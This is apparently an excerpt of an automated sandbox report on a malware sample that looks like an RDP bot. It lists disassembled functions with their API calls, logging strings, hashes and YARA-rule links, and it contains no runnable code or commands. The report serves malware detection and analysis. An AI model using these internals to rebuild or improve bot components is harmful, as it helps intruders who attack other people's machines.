Instruction ID: b0279676bdb29b3099af39c548b54306adb614cf4f7526df999cc42e77503d58
Opcode Fuzzy Hash: 8653497b7e3f6a2a250fc30739b801d90f6e2000c93844efd4fda9f66f1e3821
Instruction Fuzzy Hash: 6711D3F0A1818646E312AF35EC0046D6661FF9A744F184776E96EA3BB9DF7CD509CB00

Function 00007FFB23B01344 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23B0136C
setsockopt.WS2_32 ref: 00007FFB23B01398
WSAGetLastError.WS2_32 ref: 00007FFB23B013AF
WSAGetLastError.WS2_32 ref: 00007FFB23B013D4

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23B013C6
tcp_set_timeo, xrefs: 00007FFB23B013BF, 00007FFB23B013E4
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23B013EB

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 3cd94d6c356d44df4bfa6723fe0ba7b692f9cdc644e8cf44acc47bf9408d8014
Instruction ID: 912e88a04a2b9891d319ca04ba56496cfe10cb964c7b282e954cc2b124c8f5aa
Opcode Fuzzy Hash: 3cd94d6c356d44df4bfa6723fe0ba7b692f9cdc644e8cf44acc47bf9408d8014
Instruction Fuzzy Hash: 0A1196F9A0858256F3119F36FC4826D6660BF84754F1443B5E9DDA3AA4DF7CD50A8B00

Function 00007FFB22705624 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB2270564C
setsockopt.WS2_32 ref: 00007FFB22705678
WSAGetLastError.WS2_32 ref: 00007FFB2270568F
WSAGetLastError.WS2_32 ref: 00007FFB227056B4

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB227056CB
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB227056A6
tcp_set_timeo, xrefs: 00007FFB2270569F, 00007FFB227056C4

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 9c2fe581f74b2f5098a5e141fddf0f3e6d478d7830d01169853c6c749ca42601
Instruction ID: 97670bb3089fe0c789bad7f70561a16d69f14abb6a93dd3bbaafb0b5b96123fd
Opcode Fuzzy Hash: 9c2fe581f74b2f5098a5e141fddf0f3e6d478d7830d01169853c6c749ca42601
Instruction Fuzzy Hash: 1A11B1B0A0C58286F711AB75EC000766660AF9AB54F104231EA6ED3AB5DEBCDA4DCB00

Function 00007FFB23AD3ED4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23AD3EFC
setsockopt.WS2_32 ref: 00007FFB23AD3F28
WSAGetLastError.WS2_32 ref: 00007FFB23AD3F3F
WSAGetLastError.WS2_32 ref: 00007FFB23AD3F64

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AD3F56
tcp_set_timeo, xrefs: 00007FFB23AD3F4F, 00007FFB23AD3F74
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AD3F7B

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 44b27321e03e564db89bcccc0e7d5df8cb6a651859ff422f557a8e3a400490fc
Instruction ID: 2cddbbbf7b873d76a4a6c710b4f3dc57969dd331936bdb1b8e25643f9f5c6fcb
Opcode Fuzzy Hash: 44b27321e03e564db89bcccc0e7d5df8cb6a651859ff422f557a8e3a400490fc
Instruction Fuzzy Hash: 9F11B9B16185C686F3629B35EC0046D6660FF8AB54F1842B1E96D97BE4DF7CD50B8B00

Function 00007FFB23AB33CF Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3401
GetProcessHeap.KERNEL32 ref: 00007FFB23AB340C
HeapFree.KERNEL32 ref: 00007FFB23AB341D
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB3441
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3464
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB34D1

Strings

[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FFB23AB34BE
routine_tx, xrefs: 00007FFB23AB34B7

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: CriticalSection$EnterHeapLeave$FreeProcess
String ID: [D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 2539320189-3555278722
Opcode ID: 8cfcbb219258df9e637251702499919102569d352f0da6dfc4e1a77041003f0c
Instruction ID: 4ad3e7c7c2553715b7c36413e0e496a6de9abd0bf2800ea5d3aa33229b247a17
Opcode Fuzzy Hash: 8cfcbb219258df9e637251702499919102569d352f0da6dfc4e1a77041003f0c
Instruction Fuzzy Hash: 97311EB5A09A8286EB268F21EC8017D73A5FF56B91F0C4675CA5E637B8CF3DE5418310

Function 00007FFB23B0C415 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 127sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FFB23B0C448
Sleep.KERNEL32 ref: 00007FFB23B0C4C4

Strings

[W] (%s) -> Not a valid packet received(size=%u,suid=%llx), xrefs: 00007FFB23B0C579
routine_rx, xrefs: 00007FFB23B0C540, 00007FFB23B0C572
[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u), xrefs: 00007FFB23B0C547
/, xrefs: 00007FFB23B0C5A7

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Sleep
String ID: /$[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u)$[W] (%s) -> Not a valid packet received(size=%u,suid=%llx)$routine_rx
API String ID: 3472027048-1600310168
Opcode ID: 84be77717edd2999c7616423ea67f6e38ab96d6a84f15685ccd8b38b8928257c
Instruction ID: 9b7de66c7f0893b2f831326a0be52d9f6d55b62de7f23f62982f15eb4ce0c8a8
Opcode Fuzzy Hash: 84be77717edd2999c7616423ea67f6e38ab96d6a84f15685ccd8b38b8928257c
Instruction Fuzzy Hash: 515130A9E0C1C345FA628F34ECC837D6251AF84355F5842B5D4EE6A5D9DF2CE8498700

Function 00007FFB227682D7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FFB227682E0
GetLastError.KERNEL32 ref: 00007FFB22768325

Strings

(path != NULL), xrefs: 00007FFB22768304
fs_path_exists, xrefs: 00007FFB2276830B
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB227682FD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22768312

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: 59a41bff71f5d9d606acab6724d86878339935abeb5f622b22a94194d7529e42
Instruction ID: a43d521fda517bb8d68dee51ee924fad665db34822f6b54dc4af139bb21f3799
Opcode Fuzzy Hash: 59a41bff71f5d9d606acab6724d86878339935abeb5f622b22a94194d7529e42
Instruction Fuzzy Hash: 7221DAD0E4C8C386FB264679EE4437E11509F0B309FA84532E50ECA5F1CEDDEC899A4A

Function 00007FFB23B056C7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FFB23B056D0
GetLastError.KERNEL32 ref: 00007FFB23B05715

Strings

(path != NULL), xrefs: 00007FFB23B056F4
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB23B056ED
fs_path_exists, xrefs: 00007FFB23B056FB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B05702

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: b50f7d9af04bdf8ac8a82e6efc4e5553d617ce4fcb2c9f96e8266a6a6e7f4401
Instruction ID: fcfd5308e517af86341889e42d2162ec1e620b880215c07c20fac1d9e92f771f
Opcode Fuzzy Hash: b50f7d9af04bdf8ac8a82e6efc4e5553d617ce4fcb2c9f96e8266a6a6e7f4401
Instruction Fuzzy Hash: A72185E8E0D5C382FB664E78DCCC37D11409F00369FA845B3D58FAA990DE5CA8C5A752

Function 00007FF7AABD6E87 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,00007FF7AABD1425), ref: 00007FF7AABD6E90
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF7AABD1425), ref: 00007FF7AABD6ED5

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD6EC2
fs_path_exists, xrefs: 00007FF7AABD6EBB
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD6EAD
(path != NULL), xrefs: 00007FF7AABD6EB4

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: 2b6a6c52b567d369e81db189b2072c9d4e9a6c0f948acaaff6909379fc6761a6
Instruction ID: 9ad0cdad15c376d325671de4a72bf85c538cd8c00eedfe8819c2de6e3609eb41
Opcode Fuzzy Hash: 2b6a6c52b567d369e81db189b2072c9d4e9a6c0f948acaaff6909379fc6761a6
Instruction Fuzzy Hash: 5A218050E2F983C3FF746658A4A4379D1525F60349FE649B2E00ECA6B4CE1CE887536A

Function 00007FFB2273B4BA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB2273B4E2
WSAGetLastError.WS2_32 ref: 00007FFB2273B4FC

Strings

[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB2273B51D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB2273B55A
tcp_recv, xrefs: 00007FFB2273B516, 00007FFB2273B52E, 00007FFB2273B553
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB2273B535

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: f7eacea280f45015c693a89ef57757bf08c9e43340c975e6a3bd5a496a3bf66f
Instruction ID: f57ece66a2208832c3cb375d8133ee3fa50af9b48f57356c26d997b747839cc8
Opcode Fuzzy Hash: f7eacea280f45015c693a89ef57757bf08c9e43340c975e6a3bd5a496a3bf66f
Instruction Fuzzy Hash: 9D1149E0F0D5A691F9236A39EC406B422106F177B4F502334D92DCB6F1EE9CAE468301

Function 00007FFB227625AA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB227625D2
WSAGetLastError.WS2_32 ref: 00007FFB227625EC

Strings

[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB22762625
tcp_recv, xrefs: 00007FFB22762606, 00007FFB2276261E, 00007FFB22762643
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB2276264A
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB2276260D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: c142d803a55d224ef68baa2862091450f67a5483f883c1677db543f6e56db5bc
Instruction ID: 5f76514991443c78fe5ef7a9091bcf62005ce5bc32fbdf89c4b1cf65edb628f8
Opcode Fuzzy Hash: c142d803a55d224ef68baa2862091450f67a5483f883c1677db543f6e56db5bc
Instruction Fuzzy Hash: EA116DD0E0C593A1FA625735EE512B412446F1B7B4F511330E92DCAAF2DEDCED068300

Function 00007FFB23AB2ECA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB23AB2EF2
WSAGetLastError.WS2_32 ref: 00007FFB23AB2F0C

Strings

[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB23AB2F45
tcp_recv, xrefs: 00007FFB23AB2F26, 00007FFB23AB2F3E, 00007FFB23AB2F63
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB23AB2F6A
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AB2F2D

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: eba924376e7af55d3e9d9af242b3953526818afa655de96f566b8cdee47eb7cc
Instruction ID: f4e4e08836e677c6f629492f2cb8dcc0dae2e895cf4b198d402a94350b59bf68
Opcode Fuzzy Hash: eba924376e7af55d3e9d9af242b3953526818afa655de96f566b8cdee47eb7cc
Instruction Fuzzy Hash: A1118FE0A2D68741E5129734EC516BD1242AF277B4F4D07B2E82DBA6FADE1CE9568300

Function 00007FFB23B01C0A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB23B01C32
WSAGetLastError.WS2_32 ref: 00007FFB23B01C4C

Strings

tcp_recv, xrefs: 00007FFB23B01C66, 00007FFB23B01C7E, 00007FFB23B01CA3
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB23B01C85
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB23B01CAA
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23B01C6D

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: a022570f76a87d175e6b89a9e29889a2c9fff595502eb920f882fbc327c3d23e
Instruction ID: 715a4f69216d4e401d0e8367a32d9be70a09da5d3008f3c7ac6117a88a6e5651
Opcode Fuzzy Hash: a022570f76a87d175e6b89a9e29889a2c9fff595502eb920f882fbc327c3d23e
Instruction Fuzzy Hash: 80115EDCA0C5D752F6265F35EC8A37C12506F81BA4E5813B1D8EDBA5E6DE5CE5078300

Function 00007FFB23AD479A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB23AD47C2
WSAGetLastError.WS2_32 ref: 00007FFB23AD47DC

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB23AD483A
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FFB23AD4815
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AD47FD
tcp_recv, xrefs: 00007FFB23AD47F6, 00007FFB23AD480E, 00007FFB23AD4833

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 0f3ff3b2ca26c0a814a37c163e02db9f32d8edde5c444f807830ff1ab6393cc4
Instruction ID: e749051469cc3d8d5326f5181a218f3c60ff8264519db11df2611295e1ffb68c
Opcode Fuzzy Hash: 0f3ff3b2ca26c0a814a37c163e02db9f32d8edde5c444f807830ff1ab6393cc4
Instruction Fuzzy Hash: 8A116AD4F1C9CB81FA665334EC902BC1240AF47BA4F4803B0D82DAAAE6DF1CA9578300

Function 00007FF7AABD2304 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,service,0000027B435613D0,00007FF7AABD2910), ref: 00007FF7AABD2312

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
